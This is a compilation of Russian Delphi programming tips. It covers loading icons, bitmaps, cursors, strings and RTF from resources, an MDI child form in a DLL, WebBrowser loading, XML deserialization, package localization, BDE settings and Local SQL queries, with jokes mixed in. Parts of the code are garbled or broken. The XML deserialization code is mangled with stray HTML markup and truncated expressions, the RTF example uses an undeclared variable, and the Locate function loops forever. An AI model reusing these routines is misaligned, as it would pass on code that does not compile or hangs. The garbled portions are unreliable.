procedure TMainForm.btnChemicalsClick(Sender: TObject);
begin
  { Load the bitmap from the resource file. The bitmap must be
    specified in all CAPS! }
  imgBitmap.Picture.Bitmap.LoadFromResourceName(hInstance, 'CHEMICAL');
end;
procedure TMainForm.btnClearClick(Sender: TObject);
begin
  imgBitmap.Picture.Assign(nil); // Clear the image
end;
procedure TMainForm.btnChangeIconClick(Sender: TObject);
begin
  { Load the icon from the resource file. The icon must be
    specified in all CAPS! }
  Application.Icon.Handle := LoadIcon(hInstance, 'SKYLINE');
end;
procedure TMainForm.btnNewCursorClick(Sender: TObject);
begin
  { Assign the new cursor to the Screen's Cursor array }
  Screen.Cursors[crXHair] := LoadCursor(hInstance, 'XHAIR');
  Screen.Cursor := crXHair; // Now change the cursor
end;
procedure TMainForm.btnOldCursorClick(Sender: TObject);
begin
  // Change back to default cursor
  Screen.Cursor := crDefault;
end;
procedure TMainForm.btnOldIconClick(Sender: TObject);
begin
  { Load the icon from the resource file. The icon must be
    specified in all CAPS! }
  Application.Icon.Handle := LoadIcon(hInstance, 'DELPHI');
end;
procedure TMainForm.btnAthenaClick(Sender: TObject);
begin
  { Load the bitmap from the resource file. The bitmap must be
    specified in all CAPS! }
  imgBitmap.Picture.Bitmap.LoadFromResourceName(hInstance, 'ATHENA');
end;
end.
Загрузить весь проект

Загрузка иконки.

Автор: Neil
А по утрам я плохо загружаюсь...

Если ваша иконка хранится в компоненте Image (видимым или иным способом), вы можете написать:

Application.Icon := Image1.Picture.Icon;

Если в файле ресурса:

Application.Icon.Handle := LoadIcon(hInstance, 'ICONNAME');

В любом случае для форсирования показа иконки необходимо вызвать следующую функцию:

InvalidateRect(Application.Handle, NIL, True);
.. и новая иконка предстанет свету.

Иконка, расположенная в .RES-файле, должна быть видима в .EXE-файле, к примеру, при просмотре файла посредством Program Manager. Иконка, расположенная в компоненте Image, в этом случае не видна.

Загрузка изображения или курсора из RES-файла.

Загрузка изображений и курсоров из RES-файлов Изображения и курсоры могут храниться в файлах ресурсов (RES) и прилинковываться (связаваться) к EXE-файлу вашего приложения. RES-файлы могут создаваться с помощью Delphi утилит Image Editor и Borland Resource Workshop, входящие в поставку Delphi RAD Pack. Изображения и курсоры, хранимые в RES-файлах (после упаковки их в EXE или DLL) могут быть извлечены с помощью API функций LoadBitmap и LoadCursor соответственно. Загрузка изображений

Функция API LoadBitmap определена следующим образом:

function LoadBitmap(Instance: THandle; BitmapName: PChar): HBitmap;  

Первый параметр должен содержать дескриптор модуля (EXE или DLL), содержащего файл RES, из которого вы хотите получить ресурс. Delphi хранит дескриптор запущенного EXE-файла в глобальной переменной с именем Hinstance. В приведенном ниже примере мы предполагаем, что модуль, из которого мы пытаемся загрузить изображение, - ваше приложение. Тем не менее, модуль мог бы быть другим EXE- или DLL-файлом. Следующий пример загружает изображение с именем BITMAP_1 из RES-файла, прилинкованного к EXE-файлу приложения:

procedure TForm1.Button1Click(Sender: TObject);
var
  Bmp: TBitmap;
begin
  Bmp := TBitmap.Create;
  Bmp.Handle := LoadBitmap(HInstance,'BITMAP_1');
  Canvas.Draw(0, 0, Bmp);
  Bmp.Free;
end;

Имеется один недостаток использования API вызова LoadBitmap: LoadBitmap все же является API вызовом Windows 3.0, и грузит изображение только как DDB (Device Dependent Bitmaps). Это может вызвать проблемы с цветовой палитрой при загрузке DIB (Device Independent Bitmaps) из RES-файла. Приведенный ниже код может использоваться для извлечения DIB-ов из RES-файлов. Данный код загружает изображение как общий ресурс, передает его в поток, после чего делает Delphi вызов LoadFromStream, реализующий палитру автоматически.

procedure TForm1.Button1Click(Sender: TObject);
const
  BM = $4D42; {Идентификатор типа изображения}
var
  Bmp: TBitmap;
  BMF: TBitmapFileHeader;
  HResInfo: THandle;
  MemHandle: THandle;
  Stream: TMemoryStream;
  ResPtr: PByte;
  ResSize: Longint;
begin
  BMF.bfType := BM;
  {Ищем, загружаем и блокируем ресурс, содержащий BITMAP_1}
  HResInfo := FindResource(HInstance, 'BITMAP_1', RT_Bitmap);
  MemHandle := LoadResource(HInstance, HResInfo);
  ResPtr := LockResource(MemHandle);
  {Создаем Memory-поток, устанавливаем его размер, записываем
  туда заголовок изображения и, наконец, само изображение }
  Stream := TMemoryStream.Create;
  ResSize := SizeofResource(HInstance, HResInfo);
  Stream.SetSize(ResSize + SizeOf(BMF));
  Stream.Write(BMF, SizeOf(BMF));
  Stream.Write(ResPtr^, ResSize);
  {Освобождаем поток и сбрасываем его позицию в 0}
  FreeResource(MemHandle);
  Stream.Seek(0, 0);
  {Создаем TBitmap и загружаем изображение из MemoryStream}
  Bmp := TBitmap.Create;
  Bmp.LoadFromStream(Stream);
  Canvas.Draw(0, 0, Bmp);
  Bmp.Free;
  Stream.Free;
end;
Загрузка курсоров

Функция API LoadCursor определена следующим образом:

function LoadCursor(Instance: THandle; CursorName: PChar): HCursor; 

Первый параметр Instance должен содержать дескриптор модуля, содержащего файл RES. Как и пример, приведенный выше, данный пример предполагает, что модуль, из которого мы пытаемся загрузить курсор, - ваше приложение. Второй параметр - имя курсора. В секции interface сделайте следующее объявление:

const
  crMyCursor = 5; {Другие модули могут также использовать эту константу}

Затем добавьте следующие две строчки к обработчику события формы OnCreate:

procedure TForm1.FormCreate(Sender: TObject);
begin
  Screen.Cursors[crMyCursor] := LoadCursor(HInstance, 'CURSOR_1');
  Cursor := crMyCursor;
end;

Или же вы можете изменить один из стандартных курсоров Delphi как показано ниже (константы Cursor описаны в электронной справке в статье Cursors Property):

procedure TForm1.FormCreate(Sender: TObject);
begin
  {Данный пример изменяет курсор SQL Hourglass}
  Screen.Cursors[crSQLWait] := LoadCursor(HInstance, 'CURSOR_1');
end;

Примечание: в нормальной ситуации необходимо удалить любые ресурсы курсоров с помощью DeleteCursor, тем не менее, в Delphi в этом нет необходимости, поскольку Delphi сама удаляет все курсоры из массива Cursors.

О загрузке дочерней формы (MDIChild) из DLL.

Данную статью меня заставило написать огромное количество вопросов в Круглом Столе (а теперь еще и в Подводных Камнях) насчет размещения дочерней формы в библиотеке DLL. Честно говоря, у меня никогда не возникало такой необходимости и я обходился простым приложением. Но масса вопросов без ответа посадило меня за кнопки вечерком. Говорят, что те ответы, которые, тем не менее, присутствуют, не работающие. И проверять мне их совсем не хотелось. Я решил начать решать проблему с нуля.

Поначалу я решил досконально разобраться в работе TForm и TApplication дабы точно представлять себе, как эти оболочки взаимодействуют с Windows, но потом понял, что ковыряться в сотнях строк исходников мне совсем неохота. Я просто посмотрел и увидел, что кроме, собственно handl-ов эти компоненты оперируют со своими всяческими внутренними служебными списками (обычно TList) и передачей хэндла тут не обойдешься. Для работы форм необходимы оба глобальных (для программы) объекта: и TApplication и TScreen. Подг ружаемая DLL, если использует разного рода формы и контролы их тоже создает. Но они другие! В смысле другие instances, которые и знать не знают о таких-же объектах в главном приложении. Но они есть и убивать их тоже не хочется (мало-ли чего случится, если убить объект TApplication, даже в DLL). Поэтому решение пришло следующее. Создаем в нашей DLL две служебные функции, функцию вызова нашей дочерней формы и две переменные (пишу StdCall потому что всегда DLL-ки так оформляю, это удобно):

var 
  DLLApp: TApplication;
  DLLScr: TScreen;
procedure InitPlugin(App, Scr: integer); StdCall;
begin
  DLLScr := Screen;
  Screen := TScreen(Scr);
  DLLApp := Application;
  Application := TApplication(App);
end;
procedure DonePlugin; StdCall;
begin
  Screen := DLLScr;
  Application := DLLApp;
end;
function CreateMDI: integer; StdCall;
begin
  Result := integer(TfrmMyChildForm.Create(Application));
end;
exports
  InitPlugin,
  DonePlugin,
  CreateMDI;
Итак, в начале программы я открываю библиотеку (LoadLibrary), пролучаю функции (GetProcAddress) и инициализируюплагин (InitPlugin(integer(Application), integer(Screen))), передавая ему ссылки на объекты Application и Screen и они сохраняются в переменных внутри DLL. По окончании работы я его деинициализирую (DonePlugin), восстанавливая для dll-ки его объекты (для корректной деинициализации этих самых внутренних TApplication и TScreen), потом выгружаю библотеку (FreeLibrary). Функция создания дочернего окн а возвращает объект формы (а по сути указатель) и с ним можно работать, либо используя переменную - родителя (TForm например) или абстрактный класс с которого наследуется форма в DLL (MyForm := TForm(CreateMDI)). Неприятности такого похода состоят в том, что разные инструменты разработки (и даже разные версии одной и той же среды) могут быть (скорее всего, но я не проверял) несовместимы. Т.е. DLL с формой, изготовленной в одной версии Дельфи может не работать с пр иложением, скомпилированным в другой. Ведь внутренние структуры объектов и таблицы методов могут не совпадать. Но это не слишком дорого. Есть еще пробляма дублирования кода VCL. Но что делать! Или так или пакеты. Вообще говоря в наше время гигабайтов и Wi n2K спорить о сотне килобайт просто скучно. Для дех, у кого не вышло: я написал и скомпилировал тестовый пример (Delphi 2). Он работает. Все возможности MDI сохраняются, вроде menu-merging, меню Window и Caption в главной форме. Тексты и скомпилированное приложение прилагаются.

Напоследок. Я не претендую на полное исследование темы. Возможно в других версиях Дельфи есть и другие необходимые глобальные обьекты. Возможно, если формы будут использовать печать, то необходимо передать таким-же образом и объект Printer, однако это сам и можете проверить. Стоит посмотреть, чем занимается delphimm.dll, ведь она устраивает общий менеджер памяти, может и еще чего интересное делает. Удачи всем.

Загрузить RTF файл из ресурса своего EXE.

(* 
  Load RTF file from resource: 
  You can store any kind of file as a RCDATA resource. 
  The following example shows this with an RTF file. 
  Create a text file called textres.rc and put the 
  following line in it: 
  TESTDOC RCDATA "textdoc.rtf" 
  Next, compile that using the Borland Resource Compiler, 
  which is provided with Delphi. 
  brcc32.exe textres.rc 
   
  Your next step is to include the compiled resource (.RES) file into 
  your executable, which can be done with the {$R} compiler directive. 
*) 
(* 
  Man kann eine beliebige Datei als RCDATA Ressource in eine 
  Exe-Datei einbinden. 
  Das folgende Beispiel zeigt, wie man einen RTF-Text aus 
  einer Ressource ladt und in einem TRichEdit anzeigt. 
  Erstelle zuerst eine Datei "textres.rc" mit folgendem Inhalt: 
  TESTDOC RCDATA "textdoc.rtf" 
  Kompiliere diese mit brcc32.exe: 
  brcc32.exe textres.rc 
   
  Es wurde nun eine textres.res Datei erzeugt. 
*) 
implementation 
{$R *.dfm} 
{$R textres.res}  // <---- your resource file! 
procedure TForm1.Button1Click(Sender: TObject); 
var 
  rs: TResourceStream; 
begin 
  rs := TResourceStream.Create(hinstance, 'TESTDOC', RT_RCDATA); 
  try 
    Richedit1.PlainText := False; 
    TempStream.Position := 0; 
    Richedit1.Lines.LoadFromStream(rs); 
  finally 
    rs.Free; 
  end; 
end;

Как загрузить потоковые(stream) данные в WebBrowser не прибегая к открытию файла.

Автор: Per Larsen.

function TForm1.LoadFromStream(const AStream: TStream): HRESULT;
begin
  AStream.seek(0, 0);
  Result := (WebBrowser1.Document as 
          IPersistStreamInit).Load(TStreamAdapter.Create(AStream));
end;

Загрузка строк из RES-файла.

Программер сидит ночью за компом и чувствует сзади нежно прикосновение руки жены, и говорит: - Извини дорогая, компьютер занят!

Используйте функцию LoadString (Windows API). Это должно выглядеть приблизительно так:

var
  MyString: String;
  Buffer: array[0..255] of Char;
...
LoadString(hInstance, 1234, Buffer, 255);
MyString := StrPas(Buffer);

Где 1234 - ID номер необходимой строки.

Как загрузить строковые данные в WebBrowser не прибегая к открытию файла.

Автор: Ron Loewy.

var
  v: Variant;
  HTMLDocument: IHTMLDocument2;
begin
  HTMLDocument := WebBrowser1.Document as IHTMLDocument2;
  v := VarArrayCreate([0, 0], varVariant);
  v[0] := HTMLString; // this is your html string
  HTMLDocument.Write(PSafeArray(TVarData(v).VArray));
  HTMLDocument.Close;
  ...
end;

Загрузка XML в объект.

Молодая программистка с маленькими скриптами ищет солидного провайдера, способного поддержать ее сайт. Вульгарный хостинг не предлагать.

После того, как мы рассмотрели возможность превода данных объекта в XML следует перейти к следующей задаче. Задача состоит в реализации обратного процесса, а именно - загрузки XML данных в объект.

Загрузка XML данных в объект, или десериализация, представляет собой более сложный процесс, т.к. в ходе его необходимо осуществить корректный разбор текстового XML документа на предмет инициализации содержащимися в нем данными заданного объекта.

Примем ряд упрощений, которые сократят число проверок корректности входящего XML документа к минимуму. Первое, что необходимо делать, тек это проверять соответствие тега верхнего уровня имени класса нашего объекта. Синтаксическая правильность документа будет проверяться в ходе загрузки данных. При необходимости более жесткой проверки загружаемых XML документов можно привлечь, к примеру, парсер MSXML. Последний поможет нам проверить документ на синтаксическую, а также семантическую корректность при наличии соответствующего DTD.

Первое, что следует реализовать, это процедура верхнего уровня, которая получает объект для инициализации, а также потоковый источник данных с текстом XML документа.

var
  // Буфер, в котором находится XML документ
  Buffer: PChar;
  // Указатель на текущее положение парсера XML документа
  TokenPtr: PChar;
{
Загружает в компонент данные из потока с XML-кодом.
Вход:
Component - компонент для конвертации
Stream - источник загрузки XML
Предусловия:
Объект Component должен быть создан до вызова процедуры
}
procedure DeSerialize(Component: TObject; Stream: TStream);
begin
  GetMem(Buffer, Stream.Size);
  try
    { Получаем данные из потока }
    Stream.read(Buffer[0], Stream.Size + 1);
    { Устанавливаем текущий указатель чтения данных }
    TokenPtr := Buffer;
    { Вызываем загрузчик }
    DeSerializeInternal(Component, Component.ClassName);
  finally
    FreeMem(Buffer);
  end;
end;

Следующий код занимается тривиальным разбором XML текта. Ищется первый открывающий тег, затем его закрывающая пара. Найденная пара содержит в себе данные для свойств объекта. Внутри найденной пары тегов последовательно выбираются теги (TagName) и текст их содержания (TagValue). Эти теги предположительно соответствуют свойствам объекта, что мы тут же и проверяем.

Среди свойств объекта отыскивается через FindProperty() оноименное свойство. При неудаче генерируется исключение об ошибочности XML тега. Если для тега найден соответвующее свойство, то передаем дальнейшую обработку процедуре SetPropertyValue(), которая заданное свойство с именем TagName проинициализирует найденным значением TagValue.

Не забываем также передвигать указатель чтения данных TokenPtr по мере выборки данных.

{ Рекурсивная процедура загрузки объекта их текстового буфера с XML Вызывается из: Serialize() Вход: Component - компонент для конвертации ComponentTagName - имя XML тега объекта } procedure DeSerializeInternal(Component: TObject; const ComponentTagName: string); var BlockStart, BlockEnd, TagStart, TagEnd: PChar; TagName, TagValue: PChar; TypeInf: PTypeInfo; TypeData: PTypeData; PropIndex: integer; AName: string; PropList: PPropList; NumProps: word; { Поиск у объекта свойства с заданным именем } function FindProperty(TagName: PChar): integer; var i: integer; begin Result := -1; for i := 0 to NumProps-1 do if CompareText(PropList^[i]^.name, TagName) = 0 then begin Result := i; break; end; end; procedure SkipSpaces(var TagEnd: PChar); begin while (TagEnd[0] in [#0..#20]) do inc(TagEnd); end; begin { Playing with RTTI } TypeInf := Component.ClassInfo; AName := TypeInf^.name; TypeData := GetTypeData(TypeInf); NumProps := TypeData^.PropCount; GetMem(PropList, NumProps*sizeof(pointer)); try GetPropInfos(TypeInf, PropList); { ищем открывающий тег } BlockStart := StrPos(TokenPtr, PChar('')); inc(BlockStart, length(ComponentTagName) + 2); { ищем закрывающий тег } BlockEnd := StrPos(BlockStart, PChar('')); TagEnd := BlockStart; SkipSpaces(TagEnd); { XML парсер } while TagEnd do begin TagStart := StrPos(TagEnd, ''); GetMem(TagName, TagEnd - TagStart + 1); try { TagName - имя тега } StrLCopy(TagName, TagStart + 1, TagEnd - TagStart - 1); TagEnd := StrPos(TagStart, PChar('</' ? + TagNametry <font color="#000080"><em>{ TagValue - значение тега }</em></font> StrLCopy(TagValue, TagStart, TagEnd - TagStart); <font color="#000080"><em>{ поиск свойства, соответствующего тегу }</em></font> PropIndex := FindProperty(TagName); <strong>if</strong> PropIndex = -1 <strong>then</strong> <strong>raise</strong> Exception.Create( 'TglXMLSerializer.DeSerializeInternal: Uncknown property: ' + TagName); SetPropertyValue(Component, PropList^[PropIndex], TagValue); inc(TagEnd, length('</' ? + TagNamefinally FreeMem(TagValue); <strong>end</strong>; <strong>finally</strong> FreeMem(TagName); <strong>end</strong>; <strong>end</strong>; <strong>finally</strong> FreeMem(PropList, NumProps*sizeof(pointer)); <strong>end</strong>; <strong>end</strong>; </pre> </td></tr></table><br> <p> Остается только код, который загрузит найденные данные в заданной свойство. Процедуре SetPropertyValue() передаются данные о соответствующем свойстве (PropInfo), которое на следует проинициализировать. Также процедура получает и текстовое значение, содержащееся в найденном теге. </p><p> В случае, если тип данные не является классовым типом, то, очевидно, текст Value следует просто загрузить в свойство. Это реализуется вызовом процедуры TypInfo.SetPropValue(). Последняя самостоятельно разберется, как корректно преобразовать тестовое значение в значение свойства в завистимости от его типа. </p><p> Если свойство имеет классовый тип, то его значение Value должно содержать XML код, описывающий свойства данного класса. В этом случае воспользуемся рекурсией и передадим обработку вышеприведенной процедуре DeSerializeInternal(). При этом передаем ей в качестве объекта ссылку на найденное свойство PropObject и его имя PropInfo^.Name. </p><p> Нам также необходимо озаботиться отдельной обработкой данных для таких классовых типов как списки TStrings и коллекции TCollection. Данные для списков мы загружаем из значения Value как CommaText. Тут все понятно. В сллучае же коллеций данные о элементах коллекции в XML документе содержаться в виде последовательных контейнерных тегов с именем типа элемента коллекци. Т.е., к примеру, <TMyCollection> ... </TMyCollection> <TMyCollection> ... </TMyCollection> <TMyCollection> ... </TMyCollection> и так далее. Внутри каждой пары тегов <TMyCollection> содержатся свойства объекта TMyCollection. </p> <table><tr><td><br> <pre> <strong>procedure</strong> SetPropertyValue(Component: TObject; PropInfo: PPropInfo; Value: PChar); <strong>var</strong> PropTypeInf: PTypeInfo; PropObject: TObject; CollectionItem: TCollectionItem; sValue: <strong>string</strong>; <strong>begin</strong> PropTypeInf := PropInfo.PropType^; <strong>case</strong> PropTypeInf^.Kind <strong>of</strong> tkInteger, tkChar, tkEnumeration, tkFloat, tkString, tkSet, tkWChar, tkLString, tkWString, tkVariant: <strong>begin</strong> sValue := StrPas(Value); <font color="#000080"><em>{ Для корректного преобразования парсером tkSet нужны угловые скобки }</em></font> <strong>if</strong> PropTypeInf^.Kind = tkSet <strong>then</strong> sValue := '[' + sValue + ']'; SetPropValue(Component, PropInfo^.<strong>name</strong>, sValue); <strong>end</strong>; tkClass: <strong>begin</strong> PropObject := GetObjectProp(Component, PropInfo); <strong>if</strong> Assigned(PropObject)<strong>then</strong> <strong>begin</strong> <font color="#000080"><em>{ Индивидуальный подход к некоторым классам }</em></font> <strong>if</strong> (PropObject <strong>is</strong> TStrings) <strong>then</strong> <font color="#000080"><em>{ Текстовые списки }</em></font> TStrings(PropObject).CommaText := Value <strong>else</strong> <strong>if</strong> (PropObject <strong>is</strong> TCollection) <strong>then</strong> <font color="#000080"><em>{ Коллекции }</em></font> <strong>begin</strong> <strong>while</strong> true <strong>do</strong> <font color="#000080"><em>{ Заранее не известно число элементов в коллекции }</em></font> <strong>begin</strong> CollectionItem := (PropObject <strong>as</strong> TCollection).Add; <strong>try</strong> DeSerializeInternal(CollectionItem, CollectionItem.ClassName); <strong>except</strong> <font color="#000080"><em>{ Исключение, если очередной элемент не найден }</em></font> CollectionItem.Free; break; <strong>end</strong>; <strong>end</strong>; <strong>end</strong> <strong>else</strong> <font color="#000080"><em>{ Для остальных классов - рекурсивная обработка }</em></font> DeSerializeInternal(PropObject, PropInfo^.<strong>name</strong>); <strong>end</strong>; <strong>end</strong>; <strong>end</strong>; <strong>end</strong>; </pre> </td></tr></table><br> <p> К приведенному коду следует добавить еще ряд возможностей для более корректной реакции для обработки неверного XML кода. Также можно достаточно просто реализовать автоматическую генерацию DTD для любого класса Delphi. После этого можно собрать полноценный компонент, объединяющий в себе всю необходимую функциональность для XML сериализации. </p> <!-- end -->

Как локализовать (русифицировать) ресурсы какого-либо пакета (runtime package).

Автор: Alexander Simonenko

Вот, случайно набрели в хэлпе. Если нужно изменить ресурсы какого-либо модуля,то это можно делать с помощью нехитрой операции:

Вынимаете ресурсы из этого модуля. Переводите их на другой язык. (например русский) Создаете в Delphi свой проект Dll-ки (с именем того модуля, из которого вы вынули ресурсы, например vcl30), в который включаете _переведенные_ ресурсы: {$R vcl30rus.res} Собираете все это. Переименовываете полученную vcl30.Dll в vcl30.rus и кидаете ее в System. Если вы хотите, приложение "говорило" по русски только тогда, когда в региональных установках стоит Russia - то тогда это все.Если же вы хотите, чтобы ваше приложение _всегда_ поднимало русские ресурсы,то необходимо сделать следующее добавление в Registry:HKEY_CURRENT_USER\SOFTWARE\Borland\Delphi\Locales "X:\MyProject\MyApp.exe" = "rus" Теперь, когда ваше приложение будет поднимать pakages, то всегда будут браться русские ресурсы. Другие приложения, например Delphi - это не затронет.Таким образом можно заменять даже DFM-ки из проекта.

Более подробно об этом - см Help - Index - Localizing...

Локальный общий доступ.

Автор: Eryk Bottomley ...я так понимаю, что LocalShare относится к ситуации, когда другие не-IDAPI приложения могут одновременно иметь доступ к одним и тем же файлам... Примерно на такие мысли наталкивает поставляемая документация... к сожалению это не так.

LOCALSHARE=False говорит BDE о том, что он должен сам решать при необходимости вопрос о блокировке таблицы/записи в типичных ситуациях, например, когда BDE 'думает' что таблица находится на локальном диске он выключает блокировку для увеличения скорости доступа. К сожалению, логические диски общего пользования в сетях 'p-t-p' программно идентифицируются как локальные с предсказуемо липовыми результатами. Установка LOCALSHARE=True заставляет блокирующий механизм 'включаться' для всех дисков и, следовательно, решает эту проблему.

Локальные операторы языка SQL.

Статьи по Delphi (011)…

Вывод нужных полей.
SELECT LastName, FirstName, Salary FROM employee. [Хотим вывести только имя, фамилию и оклад служащих].
Вывод всех полей из таблицы.
SELECT * FROM employee. [ * обозначает все поля].
Задание псевдонима таблице.
SELECT * FROM employee emp. Where emp.salary>35000. [Таблице employee в качестве псевдонима задано emp. Выводим всех служащих с окладом свыше 35000].
Исключение дубликатов.
SELECT DISTINCT Country FROM vendors. [Хотим узнать из каких стран поставляют продукцию].
Постановка условия.
SELECT * FROM vendors. Where Country='Canada' [Выводим поставщиков из Канады].
Использование логические операторов.
SELECT * FROM vendors. Where Country='U.S.A.' and Preferred='True' [Выводим только предпочитаемых поставщиков из США. Когда используем оператор AND должны удовлетворяться оба условия]. SELECT * FROM animals. Where AREA='South America' or AREA='New Orleans' [Хотим видеть только тех животных, которые обитают в Южной Америке или Новом Орлеане. Когда используем оператор OR должно удовлетворяться хотя бы одно условие]. SELECT * FROM animals Where AREA='South America' and not Weight<7. [Выводим животных, обитающих в Южной Америке с весом не менее 7 кг. Когда используем оператор AND NOT должно удовлетворяться первое условие и не должно - второе]. SELECT * FROM animals Where Weight<5 or not Weight<10. [Выводим животных, с весом менее 5 кг или более 10 кг. Когда используем оператор OR NOT должно либо удовлетворяться первое условие, либо не должно - второе].
Упорядочивание записей по возрастанию/убыванию/по номеру столбца.
SELECT * FROM animals order by Weight. [Выводим животных в порядке увеличения веса: сначала самые лёгкие, в конце самые тяжелые]. SELECT * FROM animals order by Weight desc. [...наоборот - по убыванию]. SELECT * FROM animals order by 3. [Упорядочить по третьему столбцу (отсчёт начинается с 1 )].
Объединение нескольких запросов.
SELECT * FROM animals Where Area='South America' UNION SELECT * FROM animals Where Area='New Orleans' [Выводим тех животных, которые обитают в Южной Америке, а так же тех, которые обитают в Новом Орлеане. Оператором UNION можем объединять несколько запросов].
Максимальное/минимальное значение поля.
SELECT MAX(Salary) FROM employee. [Выводим максимальный оклад из таблицы служащих]. SELECT MIN(Salary) FROM employee. [Выводим минимальный оклад из таблицы служащих].
Сумма всех значений/среднее значение.
SELECT SUM(Salary) FROM employee. [Так можем узнать сколько получают служащие некой фирмы вместе взятые]. SELECT AVG(Salary) FROM employee. [Так можем узнать среднестатистический оклад].
Количество записей в таблице/в поле.
SELECT COUNT(*) FROM employee. [Находим количество записей в таблице - в данном случае количество служащих]. SELECT COUNT(*) FROM clients Where occupation='Programmer' [Посчитали сколько человек увлекаются программированием].
Группировка записей.
SELECT Continent, MAX(Area) FROM country group by Continent. [С помощью конструкции "group by" можем узнать какая страна занимает самую большую площадь для каждого континента].
Конструкция IN.
Select * from Customer Where Country IN ('US','Canada','Columbia'). [Выводим покупателей из США, Канады и Колумбии]. Select * from Customer Where Country NOT IN ('US','Canada'). [Выводим всех покупателей за исключением тех, кто проживает в США, Канаде].
Вывод пустых/непустых значений.
Select * from Customer Where State is NULL. [Выводит те записи, где не введено значение в поле State]. Select * from Customer Where State is NOT NULL. [Выводит те записи, где введено значение в поле State].
Вывод значений приблизительно соответствующих нужным.
Select * from employee Where LastName like 'L%' [Выводим только тех служащих, у которых фамилия начинается на букву 'L'. Знак '%' - означает любые символы]. Select * from employee Where LastName like 'Nels_n' [Например, мы не помним: как правильно пишется 'Nelson' или 'Nelsan', тогда нужно будет воспользоваться знаком подчёркивания, который означает любой символ].
Диапазон значений.
Select * from employee Where Salary BETWEEN 25000 AND 50000. [Можем вывести только тех, кто получает от 25000 до 50000 включительно].
ANY, SOME, ALL.
SELECT * FROM orders.db where custno= ANY (select custno from customer.db where city = 'Largo'); Или. SELECT * FROM orders.db where custno= SOME (select custno from customer.db where city = 'Largo'); Или. SELECT * FROM orders.db where custno IN (select custno from customer.db where city = 'Largo'); [Выводим заказы покупателей из города 'Largo']. SELECT * FROM clients where birth_date>All(select birth_date from clients where city='Los Altos'). [Вывести тех клиентов, которые моложе всех из 'Los Altos'].
EXISTS.
SELECT * FROM orders.db where custno= ANY (select custno from customer where city = 'Largo') and Exists(SELECT * FROM customer WHERE City='Largo'). [Выводим заказы покупателей из города 'Largo' если вообще есть покупатели с этого города].
Использование параметров.
SELECT * FROM clients where Last_Name=:LastNameParam. [Если мы хотим дать возможность пользователю самому указывать фамилию нужного ему клиента. мы вместо значения для поля фамилия указываем параметр. Параметры указываются после двоеточия. И получить доступ к ним можно по индексу из свойства Params компонента Query. Индексация начинается с нуля. Затем, например, по нажатию на кнопке напишем код: Query1.Active:=false; Query1.Params[0].AsString:=Edit1.Text; Query1.Active:=true; ]
Вывод дополнительного текста[использование выражений].
SELECT LastName, Salary/100, '$' FROM employee. [Если зарплата указана не в долларах, а какой-то другой валюте, курс которой равен 1 к 100, мы можем вывести данные в $, используя вышеуказанное выражение].
Использование нескольких таблиц.
SELECT o.orderno,o.AmountPaid, c.Company FROM orders o, customer c where o.custno=c.custno and c.city='Largo' [Выводим номер и сумму заказа из таблицы заказов и компанию сделавшую заказ из таблицы покупателей].
Вложенные подзапросы.
SELECT * FROM employee where Salary=(select MAX(Salary) from employee). [Мы научились выводить максимальное значение, например, можем узнать максимальный оклад у служащих, но куда полезнее было бы узнать кто тот счастливчик. Именно здесь используется механизм вложенных подзапросов].

Local SQL и временная таблица.

Автор: Dieter Menne Local SQL не поддерживает вложенные запросы, но после того как я заработал клок седых волос, я нашел в высшей степени простое решение: использование временной таблицы.

Пример:

with GeneralQuery do
begin
  SQL.Clear;
  SQL.Add(.... внутренний SQL);
  SQL.Open;
  DbiMakePermanent(handle, 'temp.db',true);
  SQL.Clear;
  SQL.Add(SELECT  ... FROM 'temp.db'....);
  SQL.Open;
end;

Единственное: необходимо убедиться в том, что имя таблицы не вступает в конфликт с именами нескольких работающих копий таблицы. И, разумеется, данная технология не даст "живой" набор!

Путь к локальной таблице.

implementation
 
{$R *.DFM} 
 
uses DbiTypes, DbiProcs; 
 
function fDbiFormFullName(Tbl: TTable): String; 
var 
  Props: CurProps; 
  Buffer1 : array[0..DBIMAXPATHLEN] of char; 
  Buffer2 : array[0..DBIMAXPATHLEN] of char; 
begin 
  Check(DbiGetCursorProps(Tbl.Handle,Props)); 
  StrPCopy(Buffer1, Tbl.TableName); 
  Check(DbiFormFullName(Tbl.DBHandle, 
                        @Buffer1, 
                        Props.szTableType, 
                        @Buffer2)); 
  Result := StrPas(Buffer2); 
end; 
 
// Notes:
//   Table_You_Are_Using.Active Must be True.
//   Works on Local Tables.

Функция Locate.

Нижеследующая функция Locate может оказаться весьма полезной (конечно, она не может предложить вам глобальную функциональность типа чуствительность к регистрам, использование индексов, закладок, но все же...).

function Locate(const oTable: TTable; const oField:
  TField; const sValue: string): Boolean;
var
  bmPos: TBookMark;
  bFound: Boolean;
begin
  Locate := FALSE;
  bFound := FALSE;
  if not oTable.Active then
    Exit;
  if oTable.FieldDefs.IndexOf(oField.FieldName) < 0 then
    Exit;
  bmPos := oTable.GetBookMark;
  with oTable do
  begin
    DisableControls;
    First;
    while not EOF do
      if oField.AsString = sValue then
      begin
        Locate := TRUE;
        bFound := TRUE;
        Break;
      end;
  end;
end;

Поиск по нескольким полям.

keyfields:='name;name_1;n_dom;n_kw';
keyvalues:=VarArrayOf([combobox1.Text, combobox2.Text, edit2.Text, edit3.text]);
if dmod.qrfiz.Locate(keyfields,keyvalues,[])=false then
  dmod.qrfiz.Locate('id',id1,[]);

Проблема Lock File Has Grown Too Large.

Чтобы сообщить о проблеме, возникшей с Вашим компьютером, заполните следующую форму: 1. Опишите вашу проблему: 2. А теперь опишите вашу проблему поточнее: 3. Не забудьте пространно порассуждать о возможных причинах возникновения проблемы: Далее даются варианты ответов. Вам нужно подчеркнуть нужный вариант. 4. Важность проблемы: (незначительная) (незначительная) (незначительная) (обычная) 5. В чем выражается проблема: (зависла) (упала) (рухнула) (странный запах) 6. Ваш компьютер подключен к электросети? (да) (нет) 7. Он включен? (да) (нет) 8. Вы пытались починить его самостоятельно? (да) (нет) 9. И стало еще хуже? (да) 10. Вы просили друга, который знает о компьютерах все, починить ваш компьютер? (да) (нет) 11. И он сделал еще хуже? (да) 12. Вы прочли инструкцию? (да) (нет) 13. Вы уверены, что прочли инструкцию? (может быть) (нет) 14. Вы абсолютно точно уверены что прочли инструкцию? (нет) 15. Если вы прочли инструкцию, вы ее поняли? (да) (нет) 16. Если да, то объясните, почему вы не смогли исправить проблему самостоятельно: 17. Что вы делали с вашим компьютером, когда произошла проблема: 18. Если вы ответили "ничего" тогда объясните, почему компьютер включен: 19. Вы уверены, что не выдумали проблему? (да) (нет) 20. Часы на вашем видеомагнитофоне мигают цифрами 00:00? (да) (что такое видеомагнитофон?) 21. У вас есть книга "ПК для чайников"? (да) (нет) 22. У вас есть независимый свидетель вашей 